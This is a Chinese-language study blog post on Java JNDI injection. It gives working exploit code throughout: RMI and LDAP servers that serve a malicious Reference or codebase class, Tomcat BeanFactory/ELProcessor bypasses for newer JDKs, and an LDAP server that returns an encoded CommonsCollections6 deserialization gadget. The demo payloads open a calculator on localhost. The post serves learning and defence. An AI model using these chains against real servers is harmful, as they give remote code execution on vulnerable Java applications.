Java-jndi注入
Flow

JNDI概述

是什么

JNDI全称Java Naming Diretory Interface ,java名称与目录接口,一个名字对应一个对象。他提供了统一的客户端API,由管理者将JNDI API映射为特定的目录服务和命名服务,为使用者查找和访问资源提供了统一的接口,可以用来的定义用户,网络,机器,对象和服务等各种资源。

命名服务:一个通过名称查找实际对象的服务

目录服务:目录服务在命名服务基础上扩展,允许为对象添加属性,支持通过属性组合筛选资源。例如,LDAP中用户对象可包含姓名、邮箱等属性。

SPI(Service Provider Interface):即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。

JDK 中包含了下述内置的命名目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

代码实现

1
2
Context ctx = new InitialContext();
MyService service = (MyService) ctx.lookup("rmi://server/MyService");

JNDI攻击

JNDI结合RMI

在之前RMI项目基础上,客户端和服务端分别新建两个文件

JNDIRMIServer

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext(); // 创建JNDI的初始上下文
Registry registry = LocateRegistry.createRegistry(1099); // 在本地1099起一个RMI注册中心
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // 用rebind把RemoteObjImpl实例绑定到RMI的remoteObj
}
}

JNDIRMIClient

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext(); // 创建JNDI的初始上下文
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); // 找到这个rmi远程对象
System.out.println(remoteObj.sayHello("hello")); // 调用这个方法
}
}

这样就能实现远程方法的调用,看起来很RMI很像,主要就是多了InitialContext

漏洞点

打个断点在客户端的lookup调试一下,看整个过程

流程是InitialContext.lookup()->GenericURLContext.lookup()->RegistryContext.lookup()最后在RegistryContext的时候,可以看到this.registry是RegistryImpl_Stub,这个之前已经分析过,所以可以说使用JNDI调用RMI服务的时候,最后还是会走到RMI到逻辑里,使用RMI有的漏洞JNDI也可以打

常见打法jndi reference

jndi注入漏洞,和调用的服务无关,rmi,ldap,dns等都存在这个问题

主要是服务端调用了一个Reference,感觉像套了一层

看一下Reference的构造函数

第一个参数是类名,第二个参数是factory工厂(里面有代码逻辑),第三个参数是地址

先写一个恶意类生产class文件,然后在目录起一个http服务,让calc.class文件可以被访问到

1
2
3
4
5
public class Calc {
public Calc() throws Exception {
Runtime.getRuntime().exec("open -a calculator");
}
}

然后服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099); // 正常启动注册中心

Reference reference = new Reference("Calc","Calc","http://localhost:8000/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

原来是

1
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());

现在把new RemoteObjImpl()改成reference,感觉就像一层恶意的壳

现在再运行客户端,就成功弹计算机,再调试一下,看看怎么回事

比较特殊的是进到ResitryContext里面有lookup,出来后下面有个decodeObject(),此时有个var2参数是ReferenceWrapper_Stub类型,是lookup返回的内容,也就是在rmi查询到的对象,但是服务端绑定的是Reference对象

所以会产生这个变化是因为服务端的rebind(),调试看一下,断点打在服务端

1
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);

跟到RegistryContext.rebind(),里面有this.registry.rebind(),传进去的参数中var2被encodeObject()处理了

里面就把var1强制转换类型成ReferenceWrapper

继续回到客户端,就是有个decodeObject()刚好对应,里面有一个判断把ReferenceWrapper转换会Rederence

然后重点在后面进入getObjectInstance()一直到后面getObjectFactoryFromReference(),用这个方法调用reference里面的factory

此时已经可以知道factory叫Calc

进到里面执行了类加载,用的loadClass,联系到之前类加载的URLClassloader,一直走到newInstance这一步弹出计算机

所以最后导致代码被利用的是NamingManager这个类,这意味着我们的容器如果是别的格式的也是可以实现利用的

JNDI结合LDAP

之前通常是在域环境遇到ldap,

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

起一个ldap服务

然后服务端修改代码

1
initialContext.rebind("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com", reference);

再看就已经成功绑定上了

然后再用客户端直接去lookup就行

1
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");

成功弹出计算机

也是跟进去,重点在后面LdapCtx.c_lookup(),里面有一个decodeObject(),算是解出ldap里面存的内容

走完出来就可以获取到要类加载的具体信息

再走到后面又是getObjectInstance()但是调用的是DirectoryManager类的,流程是差不多的,这个类是漏网之鱼,修复时间比较晚

JNDI攻击高版本绕过

看一下高版本java修复了什么,这里用8u191

loadclass()里面多了一个判断,这时候trustURLCodebase是false,所以进不去循环,没办法完成类加载

BeanFactory绕过

这里限制了用URLClassLoader,那我们思路改成用本地的类加载,利用本地的恶意类作为Reference factory

也就是说,在服务端本地找到恶意factory作为Reference factory进行攻击,这个恶意factory必须实现javax.naming.spi.ObjectFactory接口,实现这个接口的getObjectInstance()方法

救赎之道就是org.apache.naming.factory.BeanFactory,他满足条件并且存在tomcat8里面,应用面比较广。

先看一下大佬给出的代码再理解吧

JNDIBypassHighJavaClient

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}

JNDIBypassHighJavaServerRebind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIBypassHighJavaServerRebind {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();

ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a calculator')" ));

initialContext.rebind("rmi://127.0.0.1:1099/Object", resourceRef);
System.out.println("RMI服务已启动,等待客户端连接...");
}
}

我实验用了8u202版本,然后也加入了tomcat8依赖,运行之后就弹计算机了

调试看一下,前面的内容都差不多,走到了NamingManager.getObjectInstance()

可以看到现在进入getObjectFactoryFromReference()里面带的reference是“org.apache.naming.factory.BeanFactory”,进到里面的loadclass会进行这个类加载

然后再判断clas(也就是和我们传的factory有关)是否实现了ObjectFactory接口,接着进入newInstance()

再到getObjectInstance()里面回先判断obj是不是ResourceRef实例,是的话才能继续走下去

这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

经过一系列操作,loadclass,获取到beanclass是javax.el.ELProcessor,实例化他,然后获取里面forceString的值,也就是我们构造的x=eval

继续往下调试可以看到,查找 forceString 的内容中是否存在”=”号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了,这是 BeanFactory 类能进行利用的关键点!之后,就是获取 beanClass 即 javax.el.ELProcessor 类的 eval() 方法并和 x 属性一同缓存到 forced 这个 HashMap 中:

(4.23更新)getObjectInstance()后面这些操作对应到前面服务端的代码意思大概是

1
2
3
4
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
// 利用forceString把x和eval绑定到一起
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a calculator')" ));
// 把恶意语句绑到x,前面x已经和eval绑了,这里作用也就是帮恶意语句和eval绑到一起

后面就是多个dowhile语句,遍历获取ResourceRef实例addr属性的值,获取到addrType的值为x时退出当前循环,然后调用getContent()获取我们传进去的恶意表达式

然后从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后带着这些参数走到invoke,实现反射调用执行

还是好理解的,不能用远程的,那就找到一个本地的去用,但是服务端resourceRef.add()里面写的详细内容,说实话不是理解的很透彻,大概设计el表达式,这块现在还不太懂,可能后面学了再看会清晰很多,这里先留个钩子

这里服务端还有另一个写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

主要差别是这个

1
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));

差不多也是反射调用命令执行,但是没有外层的eval也是没用,目前个人认为这个没有直接写Runtime方便


(4.23更新)本来今天想要写一个用ldap实现绕过的,就在上面的方法换个ldap的壳,实践发现在服务端把ResourceRef和ldap绑到一起,到客户端获取数据的过程(主要是Obj.decodeObject()方法,不是很确定),会把对象变成Reference类,这会导致进入BeanFactory.getObjectInstance()方法后就被卡在第一句的类型判断,直接没得玩。

问了ai,这个问题似乎无解,rmi和ldap两个方式进入的decodeObject不是同一个,留个钩子,等明天请教一下大佬。

利用LDAP返回序列化数据绕过

LDAP服务端除了返回JNDI Reference这种方法之外,还可以通过返回序列化的对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。

所以写一个ldap服务器,里面加入gadget内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:39876/#Evil";
int port = 39654;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//低版本JDK
/* e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());*/

//高版本JDK
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4A" +
"GHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIGNhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA=="));
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'open -a calculator'|base64 -w 0
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

然后客户端执行lookup也能弹计算机

这里有一款工具自动化很方便 https://github.com/rebeyond/JNDInjector.git

看一下代码,前面都是一样的,进入到decodeObject()->getURLClassLoader()

里面依然有对trustURLCodebase的判断,结果是false

但是回到decodeObject里面有一个deserializeObject(),里面有readObejct()就是用来反序列化的,而且我们也有了字节码,所以这样也能攻击成功。

参考

【从文档开始的jndi注入之路-2 jndi+ldap绕过】https://www.bilibili.com/video/BV1JY411F7mA?vd_source=46e5237289ae6c1a3c7bcab6091e42a6

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

https://github.com/bfengj/CTF/blob/main/Web/java/JNDI/%5BJava%E5%AE%89%E5%85%A8%5D%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0.md

碎碎念

诶其实还有好多别的做法,现在先摸个皮毛,差不多了解这个思想,以后遇到更深的再接触

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep